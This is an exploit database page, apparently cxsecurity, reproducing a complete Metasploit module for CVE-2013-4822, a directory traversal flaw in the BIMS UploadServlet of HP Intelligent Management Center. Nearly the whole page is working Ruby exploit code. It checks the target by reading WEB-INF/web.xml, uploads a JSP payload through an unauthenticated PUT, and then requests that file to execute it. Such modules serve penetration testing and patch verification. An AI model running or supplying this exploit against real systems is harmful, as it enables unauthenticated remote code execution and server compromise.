HP Intelligent Management Center BIMS UploadServlet Directory Traversal

2013.10.22
Credit: Juan vazquez
Risk: Medium
Local: No
Remote: Yes


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'HP Intelligent Management Center BIMS UploadServlet Directory Traversal', 'Description' => %q{ This module exploits a directory traversal vulnerability on the version 5.2 of the BIMS component from the HP Intelligent Management Center. The vulnerability exists in the UploadServlet, allowing the user to download and upload arbitrary files. This module has been tested successfully on HP Intelligent Management Center with BIMS 5.2 E0401 on Windows 2003 SP2. }, 'Author' => [ 'rgod <rgod[at]autistici.org>', # Vulnerability Discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-4822' ], [ 'OSVDB', '98247' ], [ 'BID', '62895' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-238/' ], [ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03943425' ] ], 'Privileged' => true, 'Platform' => 'win', 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'HP Intelligent Management Center 5.1 E0202 - 5.2 E0401 / BIMS 5.1 E0201 - 5.2 E0401 / Windows', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 08 2013')) register_options( [ Opt::RPORT(8080) ], self.class) end def check res = send_request_cgi({ 'uri' => normalize_uri("/", "upload", "upload"), 'method' => 'GET', 'vars_get' => { 'fileName' => "WEB-INF/web.xml" }, }) if res.nil? print_error("Unable to determine, because the request timed out.") return Exploit::CheckCode::Unknown end if res.code == 200 and res.headers['Content-Type'] =~ /application\/doc/ and res.body =~ /com\.h3c\.imc\.bims\.acs\.server\.UploadServlet/ return Exploit::CheckCode::Vulnerable elsif res.code == 405 and res.message =~ /Method Not Allowed/ return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end def exploit # New lines are handled on the vuln app and payload is corrupted #jsp = payload.encoded.gsub(/\x0d\x0a/, "").gsub(/\x0a/, "") jsp_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp" print_status("#{peer} - Uploading the JSP payload...") res = send_request_cgi({ 'uri' => normalize_uri("/", "upload", "upload"), 'method' => 'PUT', 'vars_get' => { 'fileName' => jsp_name }, 'data' => payload.encoded }) if res and res.code == 200 and res.body.empty? print_status("#{peer} - JSP payload uploaded successfully") register_files_for_cleanup("..\\web\\apps\\upload\\#{jsp_name}") else fail_with(Failure::Unknown, "#{peer} - JSP payload upload failed") end print_status("#{peer} - Executing payload...") send_request_cgi({ 'uri' => normalize_uri("/", "upload", jsp_name), 'method' => 'GET' }, 1) end end

References:

https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03943425


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top